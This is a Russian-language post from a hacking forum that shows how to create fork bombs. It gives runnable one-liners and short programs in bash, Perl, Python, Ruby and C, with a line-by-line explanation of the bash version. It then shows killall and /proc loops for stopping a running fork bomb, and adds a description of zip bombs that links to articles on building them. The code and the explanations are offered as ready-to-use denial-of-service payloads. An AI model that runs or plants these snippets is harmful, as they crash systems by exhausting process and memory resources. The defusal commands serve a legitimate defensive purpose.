• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создание Fork Bomb в Unix/Linux

xxSadxx

RAM
Забанен
Регистрация
17.09.2019
Сообщения
132
Реакции
6
Пожалуйста, обратите внимание, что пользователь заблокирован
Концепция Fork Bomb — коварная маленькая программа, которая порождает себя n-раз, отбросив цепную реакцию (рекурсия) и тем самым быстро исчерпав ресурсы системы.
Примеры создания Fork Bomb в Unix/Linux

P.S WARNING! Эти примеры могут привести к сбою вашего компьютера в случае его выполнения.

Примеры создания Fork Bomb с использованием bash

Итак, код выглядит так:
В консоли Bash (в Linux-дистрибутивах):
Код:
:(){ :|:& };:

Где:
  • : ( ) — Определение функции. (На форуме есть такой смайлик, поэтому уберите пробел между двоеточием и первой скобкой)
  • { — Открытие функции.
  • :|: — Далее, загружает копию функции «:» в память тем самым, будет вызывать само себя с использованием техники программирования ( так называемая рекурсия) и передает результат на другой вызов функции.
  • ‘:’ — Худшая часть — функция, вызываемая два раза, чтобы «бомбить» вашу систему.
  • & — Помещает вызов функции в фоновом режиме, чтобы fork (дочерний процесс) не мог «умереть» вообще, тем самым это начнет есть системные ресурсы.
  • } — Закрытие функции.
  • ; — Завершите определение функции. Т.е является разделителем команд, (такой как и &&).
  • : — Запускает функцию которая порождает fork bomb().
Это рабочий код, но не очень читабельный. Вот пример нормального, читаемого кода:

Код:
#!/usr/bin/env bash -x
bomb() {
bomb | bomb &
};
bomb

Идем дальше.

Примеры создания Fork Bomb с использованием perl

Пример встроенной оболочки с использованием интерпретатора Perl:

Код:
# perl -e "fork while fork" &

Примеры создания Fork Bomb с использованием Python

Пример кода:

Код:
import os
while True:
os.fork()

Примеры создания Fork Bomb с использованием Ruby

И так, вот код:

Код:
#!/usr/bin/ruby
loop { fork { __FILE__ } }

Примеры создания Fork Bomb с использованием C/C++

Код:

Код:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}

Примеры Defusing Fork Bomb в Unix/Linux

Defusing — так званое разминирование fork bomb. Из-за их характера, такие бомбы трудно остановить после их запуска. Чтобы остановить такую бомбу, нужно завершить все рабочие копии, чего может быть трудно достичь. Одна из проблем заключается в том, что данная команда не может быть выполнена из-за того, что таблица процессов полностью забита. Вторая серьезная проблема заключается в том, на момент поиска процессов для прекращения потратилось время за которое могло создатся еще пару форков программы.

Для удаления такой бомбы, можно использовать одну из перечисленных команд:

Код:
# killall -STOP processWithBombName
# killall -KILL processWithBombName

Когда у системы мало свободных PID (в Linux максимальное количество PID-ов можно получить получено из /proc/sys/kernel/pid_max), «разрядка» form bomb-ы становится более сложной:

Код:
# killall -9 processWithBombName

Можно получить ошибку:

Код:
 bash: fork: Cannot allocate memory

В этом случае разрядка бомбы возможна только в том случае, если хотя бы одна оболочка открыта. Процессы могут не разветвляться, но можно выполнить любую программу из текущей оболочки. Как правило, возможна только одна попытка.

Команда «killall -9» не выполняется непосредственно из оболочки, потому что команда не является атомарной и не удерживает блокировки в списке процессов, поэтому к тому времени когда она закончится, fork bomb наплодит еще ПИДов. Поэтому нужно запустить несколько процессов killall, например:

Код:
 # while :; do killall -9 processWithBombName; done

Еще пример, — так как таблица процессов достапна в Linux через ФС (/proc), то можно обезвредить данный форк бомбы с помощью встроенных функций bash, которые не требуют развертывания новых процессов.

Следующий пример идентифицирует процессы, связанные с нарушением и приостанавливает их, чтобы предотвратить данный форк, до того момента, пока они убиты по одному за раз. Это позволяет избежать состояния гонки других примеров, которые могут потерпеть неудачу, если нарушающие процессы могут развиваться быстрее, чем они убиты:

Код:
 # cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done

Официальная статья/статья используемая для создания темы https://telegra.ph/Sozdanie-Fork-Bomb-v-UnixLinux-09-17
 
Дополнительный материал.

Zip-бомба.

Zip-бомба, также известная как Архив Смерти ☠️ — архивный файл, который по своей природе обладает разрушающим действием. При распаковке может вызвать крах системы.

Внешне подобный файл выглядит как маленький архив. При распаковке распаковывается тот же самый архив. Данный файл может представлять опасность для антивирусов: в попытке распаковать все архивы антивирус может забить всю память и ничего не найти.

☝ Внешне 42. zip представляет собой обычный архив весом 42 килобайта, но если его распаковать, вы получите 4,5 петабайта информации‼️ Думаете это невозможно. Как бы не так. Сама по себе ZIP-бомба не более чем пустышка, но в ней зашит особый алгоритм генерирования данных. Если пользователь попытается распаковать такой архив, содержащиеся в нём слои по 16 файлов на уровень начнут разворачиваться, генерируя огромное количество бессмысленной информации. В результате «взрыва» этой ZIP-бомбы диск оказывается забитым кэшем под завязку и система полностью зависает или падает в BSOD. ‼️

‍ Кому интересна данная тема, кто хочет узнать, более подробно, структуру и алгоритмы и получить исходники zip бомбы, Советуем к прочтению. Данную Статью (https://www.bamsoftware.com/hacks/zipbomb/). а так же ее перевод на Хабре (https://habr.com/ru/post/459254/).

Вся информация представлена в ознакомительных целях, не нужно скачивать архив и запускать на ПК, Все действия на Ваш страх и риск.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх